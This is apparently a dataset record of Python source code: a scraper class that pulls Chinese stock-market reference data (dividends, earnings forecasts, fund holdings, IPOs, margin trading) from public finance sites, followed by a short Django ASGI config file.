html = lxml.html.parse(cf.DP_163_URL % (year, pageNo))
res = html.xpath('//table[@class=\"fn_cm_table\"]/tr')
if self._PY3:
sarr = [etree.tostring(node).decode('utf-8') for node in res]
else:
sarr = [etree.tostring(node) for node in res]
sarr = ''.join(sarr)
sarr = '<table>%s</table>' % sarr
df = pd.read_html(sarr)[0]
df = df.drop(0, axis=1)
df.columns = cf.DP_163_COLS
df['divi'] = df['plan'].map(self.__bonus)
df['shares'] = df['plan'].map(self.__gift)
df = df.drop('plan', axis=1)
df['code'] = df['code'].astype(object)
df['code'] = df['code'].map(lambda x : str(x).zfill(6))
pages = []
if pageNo == 0:
page = html.xpath('//div[@class=\"mod_pages\"]/a')
if len(page)>1:
asr = page[len(page)-2]
pages = asr.xpath('text()')
except Exception as e:
print(e)
else:
if pageNo == 0:
return df, pages[0] if len(pages)>0 else 0
else:
return df
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def __bonus(self, x):
if self._PY3:
reg = re.compile(r'分红(.*?)元', re.UNICODE)
res = reg.findall(x)
return 0 if len(res)<1 else float(res[0])
else:
if isinstance(x, unicode):
s1 = unicode('分红','utf-8')
s2 = unicode('元','utf-8')
reg = re.compile(r'%s(.*?)%s'%(s1, s2), re.UNICODE)
res = reg.findall(x)
return 0 if len(res)<1 else float(res[0])
else:
return 0
def __gift(self, x):
if self._PY3:
reg1 = re.compile(r'转增(.*?)股', re.UNICODE)
reg2 = re.compile(r'送股(.*?)股', re.UNICODE)
res1 = reg1.findall(x)
res2 = reg2.findall(x)
res1 = 0 if len(res1)<1 else float(res1[0])
res2 = 0 if len(res2)<1 else float(res2[0])
return res1 + res2
else:
if isinstance(x, unicode):
s1 = unicode('转增','utf-8')
s2 = unicode('送股','utf-8')
s3 = unicode('股','utf-8')
reg1 = re.compile(r'%s(.*?)%s'%(s1, s3), re.UNICODE)
reg2 = re.compile(r'%s(.*?)%s'%(s2, s3), re.UNICODE)
res1 = reg1.findall(x)
res2 = reg2.findall(x)
res1 = 0 if len(res1)<1 else float(res1[0])
res2 = 0 if len(res2)<1 else float(res2[0])
return res1 + res2
else:
return 0
def forecast(self, year, quarter, retry=3, pause=0.001):
"""
获取业绩预告数据
Parameters
--------
year:int 年度 e.g:2014
quarter:int 季度 :1、2、3、4,只能输入这4个季度
说明:由于是从网站获取的数据,需要一页页抓取,速度取决于您当前网络速度
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0.001
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
--------
DataFrame or List: [{'code':, 'name':, ...}, ...]
code,代码
name,名称
type,业绩变动类型【预增、预亏等】
report_date,发布日期
pre_eps,上年同期每股收益
range,业绩变动范围
"""
self._data = pd.DataFrame()
if Utility.checkQuarter(year, quarter) is True:
self._writeHead()
self._data = self.__handleForecast(year, quarter, 1, pd.DataFrame(), retry, pause)
self._data = pd.DataFrame(self._data, columns=cf.FORECAST_COLS)
self._data['code'] = self._data['code'].map(lambda x: str(x).zfill(6))
return self._result()
def __handleForecast(self, year, quarter, pageNo, dataArr, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
# http://vip.stock.finance.sina.com.cn/q/go.php/vFinanceAnalyze/kind/performance/index.phtml?s_i=&s_a=&s_c=&s_type=&reportdate=2018&quarter=3&p=1&num=60
request = self._session.get( cf.FORECAST_URL%( year, quarter, pageNo, cf.PAGE_NUM[1]), timeout=10 )
request.encoding = 'gbk'
text = request.text.replace('--', '')
html = lxml.html.parse(StringIO(text))
res = html.xpath("//table[@class=\"list_table\"]/tr")
if self._PY3:
sarr = [etree.tostring(node).decode('utf-8') for node in res]
else:
sarr = [etree.tostring(node) for node in res]
sarr = ''.join(sarr)
sarr = '<table>%s</table>'%sarr
df = pd.read_html(sarr)[0]
df = df.drop([4, 5, 8], axis=1)
df.columns = cf.FORECAST_COLS
dataArr = dataArr.append(df, ignore_index=True)
nextPage = html.xpath('//div[@class=\"pages\"]/a[last()]/@onclick')
if len(nextPage)>0:
pageNo = re.findall(r'\d+',nextPage[0])[0]
return self.__handleForecast(year, quarter, pageNo, dataArr, retry, pause)
else:
return dataArr
except Exception as e:
print(e)
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def restrictedLift(self, year=None, month=None, retry=3, pause=0.001):
"""
获取限售股解禁数据
Parameters
--------
year:年份,默认为当前年
month:解禁月份,默认为当前月
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
------
DataFrame or List: [{'code':, 'name':, ...}, ...]
code:股票代码
name:名称
date:解禁日期
count:解禁数量(万股)
ratio:占总盘比率
"""
self._data = pd.DataFrame()
year = Utility.getYear() if year is None else year
month = Utility.getMonth() if month is None else month
for _ in range(retry):
time.sleep(pause)
try:
# http://datainterface.eastmoney.com/EM_DataCenter/JS.aspx?type=FD&sty=BST&st=3&sr=true&fd=2019&stat=1
request = self._session.get( cf.RL_URL % (year, month), timeout = 10 )
if self._PY3:
request.encoding = 'utf-8'
lines = request.text
except Exception as e:
print(e)
else:
da = lines[3:len(lines)-3]
list = []
for row in da.split('","'):
list.append([data for data in row.split(',')])
self._data = pd.DataFrame(list)
self._data = self._data[[1, 3, 4, 5, 6]]
for col in [5, 6]:
self._data[col] = self._data[col].astype(float)
self._data[5] = self._data[5]/10000
self._data[6] = self._data[6]*100
self._data[5] = self._data[5].map(cf.FORMAT)
self._data[6] = self._data[6].map(cf.FORMAT)
self._data.columns = cf.RL_COLS
return self._result()
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def fundHoldings(self, year, quarter, retry=3, pause=0.001):
"""
获取基金持股数据
Parameters
--------
year:年份e.g 2014
quarter:季度(只能输入1,2,3,4这个四个数字)
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
------
DataFrame or List: [{'code':, 'name':, ...}, ...]
code:股票代码
name:名称
date:报告日期
nums:基金家数
nlast:与上期相比(增加或减少了)
count:基金持股数(万股)
clast:与上期相比
amount:基金持股市值
ratio:占流通盘比率
"""
self._data = pd.DataFrame()
start, end = cf.QUARTS_DIC[str(quarter)]
if quarter == 1:
start = start % str(year-1)
end = end % year
else:
start, end = start % year, end % year
self._writeHead()
self._data, pages = self.__handleFoundHoldings(start, end, 0, retry, pause)
for idx in range(1, pages):
self._data = self._data.append(self.__handleFoundHoldings(start, end, idx, retry, pause), ignore_index=True)
return self._result()
def __handleFoundHoldings(self, start, end, pageNo, retry, pause):
for _ in range(retry):
time.sleep(pause)
if pageNo>0:
self._writeConsole()
try:
# http://quotes.money.163.com/hs/marketdata/service/jjcgph.php?host=/hs/marketdata/service/jjcgph.php&page=0&query=start:2018-06-30;end:2018-09-30&order=desc&count=60&type=query&req=73259
request = self._session.get( cf.FUND_HOLDS_URL % (pageNo, start, end, Utility.random(5)), timeout=10 )
if self._PY3:
request.encoding = 'utf-8'
lines = request.text
lines = lines.replace('--', '0')
lines = json.loads(lines)
data = lines['list']
df = pd.DataFrame(data)
df = df.drop(['CODE', 'ESYMBOL', 'EXCHANGE', 'NAME', 'RN', 'SHANGQIGUSHU', 'SHANGQISHIZHI', 'SHANGQISHULIANG'], axis=1)
for col in ['GUSHU', 'GUSHUBIJIAO', 'SHIZHI', 'SCSTC27']:
df[col] = df[col].astype(float)
df['SCSTC27'] = df['SCSTC27']*100
df['GUSHU'] = df['GUSHU']/10000
df['GUSHUBIJIAO'] = df['GUSHUBIJIAO']/10000
df['SHIZHI'] = df['SHIZHI']/10000
df['GUSHU'] = df['GUSHU'].map(cf.FORMAT)
df['GUSHUBIJIAO'] = df['GUSHUBIJIAO'].map(cf.FORMAT)
df['SHIZHI'] = df['SHIZHI'].map(cf.FORMAT)
df['SCSTC27'] = df['SCSTC27'].map(cf.FORMAT)
df.columns = cf.FUND_HOLDS_COLS
df = df[['code', 'name', 'date', 'nums', 'nlast', 'count',
'clast', 'amount', 'ratio']]
except Exception as e:
print(e)
else:
if pageNo == 0:
return df, int(lines['pagecount'])
else:
return df
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def ipo(self, retry=3, pause=0.001):
"""
获取新股上市数据
Parameters
--------
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
------
DataFrame or List: [{'code':, 'name':, ...}, ...]
code:股票代码
xcode:申购代码
name:名称
ipo_date:上网发行日期
issue_date:上市日期
amount:发行数量(万股)
markets:上网发行数量(万股)
price:发行价格(元)
pe:发行市盈率
limit:个人申购上限(万股)
funds:募集资金(亿元)
ballot:网上中签率(%)
"""
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleIpo(self._data, 1, retry, pause)
return self._result()
def __handleIpo(self, data, pageNo, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
# http://vip.stock.finance.sina.com.cn/corp/view/vRPD_NewStockIssue.php?page=1&cngem=0&orderBy=NetDate&orderType=desc
html = lxml.html.parse(cf.NEW_STOCKS_URL % pageNo)
res = html.xpath('//table[@id=\"NewStockTable\"]/tr')
if not res:
return data
if self._PY3:
sarr = [etree.tostring(node).decode('utf-8') for node in res]
else:
sarr = [etree.tostring(node) for node in res]
sarr = ''.join(sarr)
sarr = sarr.replace('<font color="red">*</font>', '')
sarr = '<table>%s</table>'%sarr
df = pd.read_html(StringIO(sarr), skiprows=[0, 1])[0]
df = df.drop([df.columns[idx] for idx in [12, 13, 14, 15]], axis=1)
df.columns = cf.NEW_STOCKS_COLS
df['code'] = df['code'].map(lambda x : str(x).zfill(6))
df['xcode'] = df['xcode'].map(lambda x : str(x).zfill(6))
res = html.xpath('//table[@class=\"table2\"]/tr[1]/td[1]/a/text()')
tag = '下一页' if self._PY3 else unicode('下一页', 'utf-8')
hasNext = True if tag in res else False
data = data.append(df, ignore_index=True)
pageNo += 1
if hasNext:
data = self.__handleIpo(data, pageNo, retry, pause)
except Exception as ex:
print(ex)
else:
return data
def shMargins(self, retry=3, pause=0.001):
"""
沪市融资融券历史数据
Parameters
--------
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
------
DataFrame or List: [{'date':, 'close':, ...}, ...]
date: 日期
close: 上证指数收盘点数
zdf: 上证指数收盘涨跌幅(%)
rzye: 融资余额(元)
rzyezb: 融资余额占比(%)
rzmre: 融资买入额(元)
rzche: 融资偿还额(元)
rzjmre: 融资净买入额(元)
rqye: 融券余额(元)
rqyl: 融券余量(股)
rqmcl: 融券卖出量(股)
rqchl: 融券偿还量(股)
rqjmcl: 融券净卖出量(股)
rzrqye: 融资融券余额(元)
rzrqyecz: 融资融券余额差值(元)
"""
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMargins(self._data, 1, 'SH', Utility.random(8), cf.MAR_COLS, retry, pause)
self._data.rename(columns={'tdate':'date'}, inplace=True)
return self._result()
def szMargins(self, retry=3, pause=0.001):
"""
深市融资融券历史数据
Parameters
--------
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
------
DataFrame or List: [{'date':, 'close':, ...}, ...]
date: 日期
close: 深证成指收盘点数
zdf: 深证成指收盘涨跌幅(%)
rzye: 融资余额(元)
rzyezb: 融资余额占比(%)
rzmre: 融资买入额(元)
rzche: 融资偿还额(元)
rzjmre: 融资净买入额(元)
rqye: 融券余额(元)
rqyl: 融券余量(股)
rqmcl: 融券卖出量(股)
rqchl: 融券偿还量(股)
rqjmcl: 融券净卖出量(股)
rzrqye: 融资融券余额(元)
rzrqyecz: 融资融券余额差值(元)
"""
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMargins(self._data, 1, 'SZ', Utility.random(8), cf.MAR_COLS, retry, pause)
self._data.rename(columns={'tdate':'date'}, inplace=True)
return self._result()
def __handleMargins(self, dataArr, page, market, randInt, column, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get( cf.MAR_URL % (page, market, randInt) )
text = request.text.split('=')[1]
text = text.replace('{pages:', '{"pages":').replace(',data:', ',"data":').replace('T00:00:00', '').replace('"-"', '0')
dataDict = Utility.str2Dict(text)
data = dataDict['data']
df = pd.DataFrame(data, columns=column)
df['close'] = df['close'].map(cf.FORMAT)
df['rzyezb'] = df['rzyezb'].astype(float)
dataArr = dataArr.append(df, ignore_index=True)
if page < dataDict['pages']:
dataArr = self.__handleMargins(dataArr, page+1, market, randInt, column, retry, pause)
except Exception as e:
print(e)
else:
return dataArr
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def marginDetailsAllByDate(self, date, retry=3, pause=0.001):
"""
按日期获取两市融资融券明细列表
Parameters
--------
date : string
选择日期 format:YYYY-MM-DD
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
------
DataFrame or List: [{'code':, 'name':, ...}, ...]
code: 股票代码
name: 名称
rzye: 当日融资余额(元)
rzyezb: 当日融资余额占比(%)
rzmre: 当日融资买入额(元)
rzche: 当日融资偿还额(元)
rzjmre: 当日融资净买入额(元)
rqye: 当日融券余额(元)
rqyl: 当日融券余量(股)
rqmcl: 当日融券卖出量(股)
rqchl: 当日融券偿还量(股)
rqjmcl: 当日融券净卖出量(股)
rzrqye: 当日融资融券余额(元)
rzrqyecz: 当日融资融券余额差值(元)
"""
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMarginDetailsAllByDate(self._data, date, 1, Utility.random(8), retry, pause)
self._data.rename(columns={'scode':'code', 'sname':'name'}, inplace=True)
return self._result()
def __handleMarginDetailsAllByDate(self, dataArr, date, page, randInt, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get(cf.MAR_BOTH_DETAIL % (date, page, randInt))
text = request.text.split('=')[1]
text = text.replace('{pages:', '{"pages":').replace(',data:', ',"data":').replace('"-"', '0')
dataDict = Utility.str2Dict(text)
data = dataDict['data']
df = pd.DataFrame(data, columns=cf.MAR_DET_All_COLS)
df['date'] = date
df['rzyezb'] = df['rzyezb'].astype(float)
dataArr = dataArr.append(df, ignore_index=True)
if page < dataDict['pages']:
dataArr = self.__handleMarginDetailsAllByDate(dataArr, date, page+1, randInt, retry, pause)
except Exception as e:
print(e)
else:
return dataArr
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def marginTotal(self, retry=3, pause=0.001):
"""
两市合计融资融券历史数据
Parameters
--------
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
Return
------
DataFrame or List: [{'date':, 'close':, ...}, ...]
date: 日期
close: 沪深300收盘点数
zdf: 沪深300收盘涨跌幅(%)
rzye: 融资余额(元)
rzyezb: 融资余额占比(%)
rzmre: 融资买入额(元)
rzche: 融资偿还额(元)
rzjmre: 融资净买入额(元)
rqye: 融券余额(元)
rqyl: 融券余量(股)
rqmcl: 融券卖出量(股)
rqchl: 融券偿还量(股)
rqjmcl: 融券净卖出量(股)
rzrqye: 融资融券余额(元)
rzrqyecz: 融资融券余额差值(元)
"""
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMarginTotal(self._data, 1, Utility.random(8), retry, pause)
self._data.rename(columns={'tdate':'date'}, inplace=True)
return self._result()
def __handleMarginTotal(self, dataArr, page, randInt, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get(cf.MAR_TOTAL_URL % (page, randInt), timeout=10)
text = request.text.split('=')[1]
text = text.replace('{pages:', '{"pages":').replace(',data:', ',"data":').replace('T00:00:00', '').replace('"-"', '0')
dataDict = Utility.str2Dict(text)
data = dataDict['data']
df = pd.DataFrame(data, columns=cf.MAR_TOTAL_COLS)
df['close'] = df['close'].map(cf.FORMAT)
df['rzyezb'] = df['rzyezb'].astype(float)
dataArr = dataArr.append(df, ignore_index=True)
if page < dataDict['pages']:
dataArr = self.__handleMarginTotal(dataArr, page+1, randInt, retry, pause)
except Exception as e:
print(e)
else:
return dataArr
raise IOError(cf.NETWORK_URL_ERROR_MSG)
| 34.97807 | 203 | 0.473062 |
from __future__ import division
import math
import time
import pandas as pd
from pandas.compat import StringIO
import lxml.html
from lxml import etree
import re
import json
from gugu.utility import Utility
from gugu.base import Base, cf
class Reference(Base):
def distriPlan(self, year=2015, top=25, retry=3, pause=0.001):
self._data = pd.DataFrame()
if top == 'all':
self._writeHead()
self._data, pages = self.__handleDistriPlan(year, 0, retry, pause)
for i in range(1, int(pages)):
self._data = self._data.append(self.__handleDistriPlan(year, i, retry, pause), ignore_index=True)
return self._result()
elif top <= 25:
self._data, pages = self.__handleDistriPlan(year, 0, retry, pause)
self._data = self._data.head(top)
return self._result()
else:
if isinstance(top, int):
self._writeHead()
allPages = int(math.ceil(top/25))
self._data, pages = self.__handleDistriPlan(year, 0, retry, pause)
pages = min(allPages, int(pages))
for i in range(1, pages):
self._data = self._data.append(self.__handleDistriPlan(year, i, retry, pause), ignore_index=True)
self._data = self._data.head(top)
return self._result()
else:
print(cf.TOP_PARAS_MSG)
def __handleDistriPlan(self, year, pageNo, retry, pause):
for _ in range(retry):
time.sleep(pause)
try:
if pageNo > 0:
self._writeConsole()
html = lxml.html.parse(cf.DP_163_URL % (year, pageNo))
res = html.xpath('//table[@class=\"fn_cm_table\"]/tr')
if self._PY3:
sarr = [etree.tostring(node).decode('utf-8') for node in res]
else:
sarr = [etree.tostring(node) for node in res]
sarr = ''.join(sarr)
sarr = '<table>%s</table>' % sarr
df = pd.read_html(sarr)[0]
df = df.drop(0, axis=1)
df.columns = cf.DP_163_COLS
df['divi'] = df['plan'].map(self.__bonus)
df['shares'] = df['plan'].map(self.__gift)
df = df.drop('plan', axis=1)
df['code'] = df['code'].astype(object)
df['code'] = df['code'].map(lambda x : str(x).zfill(6))
pages = []
if pageNo == 0:
page = html.xpath('//div[@class=\"mod_pages\"]/a')
if len(page)>1:
asr = page[len(page)-2]
pages = asr.xpath('text()')
except Exception as e:
print(e)
else:
if pageNo == 0:
return df, pages[0] if len(pages)>0 else 0
else:
return df
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def __bonus(self, x):
if self._PY3:
reg = re.compile(r'分红(.*?)元', re.UNICODE)
res = reg.findall(x)
return 0 if len(res)<1 else float(res[0])
else:
if isinstance(x, unicode):
s1 = unicode('分红','utf-8')
s2 = unicode('元','utf-8')
reg = re.compile(r'%s(.*?)%s'%(s1, s2), re.UNICODE)
res = reg.findall(x)
return 0 if len(res)<1 else float(res[0])
else:
return 0
def __gift(self, x):
if self._PY3:
reg1 = re.compile(r'转增(.*?)股', re.UNICODE)
reg2 = re.compile(r'送股(.*?)股', re.UNICODE)
res1 = reg1.findall(x)
res2 = reg2.findall(x)
res1 = 0 if len(res1)<1 else float(res1[0])
res2 = 0 if len(res2)<1 else float(res2[0])
return res1 + res2
else:
if isinstance(x, unicode):
s1 = unicode('转增','utf-8')
s2 = unicode('送股','utf-8')
s3 = unicode('股','utf-8')
reg1 = re.compile(r'%s(.*?)%s'%(s1, s3), re.UNICODE)
reg2 = re.compile(r'%s(.*?)%s'%(s2, s3), re.UNICODE)
res1 = reg1.findall(x)
res2 = reg2.findall(x)
res1 = 0 if len(res1)<1 else float(res1[0])
res2 = 0 if len(res2)<1 else float(res2[0])
return res1 + res2
else:
return 0
def forecast(self, year, quarter, retry=3, pause=0.001):
self._data = pd.DataFrame()
if Utility.checkQuarter(year, quarter) is True:
self._writeHead()
self._data = self.__handleForecast(year, quarter, 1, pd.DataFrame(), retry, pause)
self._data = pd.DataFrame(self._data, columns=cf.FORECAST_COLS)
self._data['code'] = self._data['code'].map(lambda x: str(x).zfill(6))
return self._result()
def __handleForecast(self, year, quarter, pageNo, dataArr, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get( cf.FORECAST_URL%( year, quarter, pageNo, cf.PAGE_NUM[1]), timeout=10 )
request.encoding = 'gbk'
text = request.text.replace('--', '')
html = lxml.html.parse(StringIO(text))
res = html.xpath("//table[@class=\"list_table\"]/tr")
if self._PY3:
sarr = [etree.tostring(node).decode('utf-8') for node in res]
else:
sarr = [etree.tostring(node) for node in res]
sarr = ''.join(sarr)
sarr = '<table>%s</table>'%sarr
df = pd.read_html(sarr)[0]
df = df.drop([4, 5, 8], axis=1)
df.columns = cf.FORECAST_COLS
dataArr = dataArr.append(df, ignore_index=True)
nextPage = html.xpath('//div[@class=\"pages\"]/a[last()]/@onclick')
if len(nextPage)>0:
pageNo = re.findall(r'\d+',nextPage[0])[0]
return self.__handleForecast(year, quarter, pageNo, dataArr, retry, pause)
else:
return dataArr
except Exception as e:
print(e)
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def restrictedLift(self, year=None, month=None, retry=3, pause=0.001):
self._data = pd.DataFrame()
year = Utility.getYear() if year is None else year
month = Utility.getMonth() if month is None else month
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get( cf.RL_URL % (year, month), timeout = 10 )
if self._PY3:
request.encoding = 'utf-8'
lines = request.text
except Exception as e:
print(e)
else:
da = lines[3:len(lines)-3]
list = []
for row in da.split('","'):
list.append([data for data in row.split(',')])
self._data = pd.DataFrame(list)
self._data = self._data[[1, 3, 4, 5, 6]]
for col in [5, 6]:
self._data[col] = self._data[col].astype(float)
self._data[5] = self._data[5]/10000
self._data[6] = self._data[6]*100
self._data[5] = self._data[5].map(cf.FORMAT)
self._data[6] = self._data[6].map(cf.FORMAT)
self._data.columns = cf.RL_COLS
return self._result()
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def fundHoldings(self, year, quarter, retry=3, pause=0.001):
self._data = pd.DataFrame()
start, end = cf.QUARTS_DIC[str(quarter)]
if quarter == 1:
start = start % str(year-1)
end = end % year
else:
start, end = start % year, end % year
self._writeHead()
self._data, pages = self.__handleFoundHoldings(start, end, 0, retry, pause)
for idx in range(1, pages):
self._data = self._data.append(self.__handleFoundHoldings(start, end, idx, retry, pause), ignore_index=True)
return self._result()
def __handleFoundHoldings(self, start, end, pageNo, retry, pause):
for _ in range(retry):
time.sleep(pause)
if pageNo>0:
self._writeConsole()
try:
request = self._session.get( cf.FUND_HOLDS_URL % (pageNo, start, end, Utility.random(5)), timeout=10 )
if self._PY3:
request.encoding = 'utf-8'
lines = request.text
lines = lines.replace('--', '0')
lines = json.loads(lines)
data = lines['list']
df = pd.DataFrame(data)
df = df.drop(['CODE', 'ESYMBOL', 'EXCHANGE', 'NAME', 'RN', 'SHANGQIGUSHU', 'SHANGQISHIZHI', 'SHANGQISHULIANG'], axis=1)
for col in ['GUSHU', 'GUSHUBIJIAO', 'SHIZHI', 'SCSTC27']:
df[col] = df[col].astype(float)
df['SCSTC27'] = df['SCSTC27']*100
df['GUSHU'] = df['GUSHU']/10000
df['GUSHUBIJIAO'] = df['GUSHUBIJIAO']/10000
df['SHIZHI'] = df['SHIZHI']/10000
df['GUSHU'] = df['GUSHU'].map(cf.FORMAT)
df['GUSHUBIJIAO'] = df['GUSHUBIJIAO'].map(cf.FORMAT)
df['SHIZHI'] = df['SHIZHI'].map(cf.FORMAT)
df['SCSTC27'] = df['SCSTC27'].map(cf.FORMAT)
df.columns = cf.FUND_HOLDS_COLS
df = df[['code', 'name', 'date', 'nums', 'nlast', 'count',
'clast', 'amount', 'ratio']]
except Exception as e:
print(e)
else:
if pageNo == 0:
return df, int(lines['pagecount'])
else:
return df
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def ipo(self, retry=3, pause=0.001):
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleIpo(self._data, 1, retry, pause)
return self._result()
def __handleIpo(self, data, pageNo, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
html = lxml.html.parse(cf.NEW_STOCKS_URL % pageNo)
res = html.xpath('//table[@id=\"NewStockTable\"]/tr')
if not res:
return data
if self._PY3:
sarr = [etree.tostring(node).decode('utf-8') for node in res]
else:
sarr = [etree.tostring(node) for node in res]
sarr = ''.join(sarr)
sarr = sarr.replace('<font color="red">*</font>', '')
sarr = '<table>%s</table>'%sarr
df = pd.read_html(StringIO(sarr), skiprows=[0, 1])[0]
df = df.drop([df.columns[idx] for idx in [12, 13, 14, 15]], axis=1)
df.columns = cf.NEW_STOCKS_COLS
df['code'] = df['code'].map(lambda x : str(x).zfill(6))
df['xcode'] = df['xcode'].map(lambda x : str(x).zfill(6))
res = html.xpath('//table[@class=\"table2\"]/tr[1]/td[1]/a/text()')
tag = '下一页' if self._PY3 else unicode('下一页', 'utf-8')
hasNext = True if tag in res else False
data = data.append(df, ignore_index=True)
pageNo += 1
if hasNext:
data = self.__handleIpo(data, pageNo, retry, pause)
except Exception as ex:
print(ex)
else:
return data
def shMargins(self, retry=3, pause=0.001):
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMargins(self._data, 1, 'SH', Utility.random(8), cf.MAR_COLS, retry, pause)
self._data.rename(columns={'tdate':'date'}, inplace=True)
return self._result()
def szMargins(self, retry=3, pause=0.001):
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMargins(self._data, 1, 'SZ', Utility.random(8), cf.MAR_COLS, retry, pause)
self._data.rename(columns={'tdate':'date'}, inplace=True)
return self._result()
def __handleMargins(self, dataArr, page, market, randInt, column, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get( cf.MAR_URL % (page, market, randInt) )
text = request.text.split('=')[1]
text = text.replace('{pages:', '{"pages":').replace(',data:', ',"data":').replace('T00:00:00', '').replace('"-"', '0')
dataDict = Utility.str2Dict(text)
data = dataDict['data']
df = pd.DataFrame(data, columns=column)
df['close'] = df['close'].map(cf.FORMAT)
df['rzyezb'] = df['rzyezb'].astype(float)
dataArr = dataArr.append(df, ignore_index=True)
if page < dataDict['pages']:
dataArr = self.__handleMargins(dataArr, page+1, market, randInt, column, retry, pause)
except Exception as e:
print(e)
else:
return dataArr
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def marginDetailsAllByDate(self, date, retry=3, pause=0.001):
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMarginDetailsAllByDate(self._data, date, 1, Utility.random(8), retry, pause)
self._data.rename(columns={'scode':'code', 'sname':'name'}, inplace=True)
return self._result()
def __handleMarginDetailsAllByDate(self, dataArr, date, page, randInt, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get(cf.MAR_BOTH_DETAIL % (date, page, randInt))
text = request.text.split('=')[1]
text = text.replace('{pages:', '{"pages":').replace(',data:', ',"data":').replace('"-"', '0')
dataDict = Utility.str2Dict(text)
data = dataDict['data']
df = pd.DataFrame(data, columns=cf.MAR_DET_All_COLS)
df['date'] = date
df['rzyezb'] = df['rzyezb'].astype(float)
dataArr = dataArr.append(df, ignore_index=True)
if page < dataDict['pages']:
dataArr = self.__handleMarginDetailsAllByDate(dataArr, date, page+1, randInt, retry, pause)
except Exception as e:
print(e)
else:
return dataArr
raise IOError(cf.NETWORK_URL_ERROR_MSG)
def marginTotal(self, retry=3, pause=0.001):
self._data = pd.DataFrame()
self._writeHead()
self._data = self.__handleMarginTotal(self._data, 1, Utility.random(8), retry, pause)
self._data.rename(columns={'tdate':'date'}, inplace=True)
return self._result()
def __handleMarginTotal(self, dataArr, page, randInt, retry, pause):
self._writeConsole()
for _ in range(retry):
time.sleep(pause)
try:
request = self._session.get(cf.MAR_TOTAL_URL % (page, randInt), timeout=10)
text = request.text.split('=')[1]
text = text.replace('{pages:', '{"pages":').replace(',data:', ',"data":').replace('T00:00:00', '').replace('"-"', '0')
dataDict = Utility.str2Dict(text)
data = dataDict['data']
df = pd.DataFrame(data, columns=cf.MAR_TOTAL_COLS)
df['close'] = df['close'].map(cf.FORMAT)
df['rzyezb'] = df['rzyezb'].astype(float)
dataArr = dataArr.append(df, ignore_index=True)
if page < dataDict['pages']:
dataArr = self.__handleMarginTotal(dataArr, page+1, randInt, retry, pause)
except Exception as e:
print(e)
else:
return dataArr
raise IOError(cf.NETWORK_URL_ERROR_MSG)
| true | true |
f73c2ef280ee58d10169a5c4ca348deb578bacb0 | 393 | py | Python | backend/Virtuele/asgi.py | harizMunawar/La-Virtuele | 051d11a281620b36638b6be50e71d3c893ce1568 | [
"MIT"
] | 2 | 2021-02-23T16:30:27.000Z | 2021-03-21T08:12:39.000Z | backend/Virtuele/asgi.py | harizMunawar/La-Virtuele | 051d11a281620b36638b6be50e71d3c893ce1568 | [
"MIT"
] | 9 | 2021-02-23T09:05:32.000Z | 2021-07-02T11:41:55.000Z | backend/Virtuele/asgi.py | harizMunawar/La-Virtuele | 051d11a281620b36638b6be50e71d3c893ce1568 | [
"MIT"
] | 1 | 2021-02-23T07:42:17.000Z | 2021-02-23T07:42:17.000Z | """
ASGI config for Virtuele project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Virtuele.settings')
application = get_asgi_application()
| 23.117647 | 78 | 0.78626 |
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Virtuele.settings')
application = get_asgi_application()
| true | true |
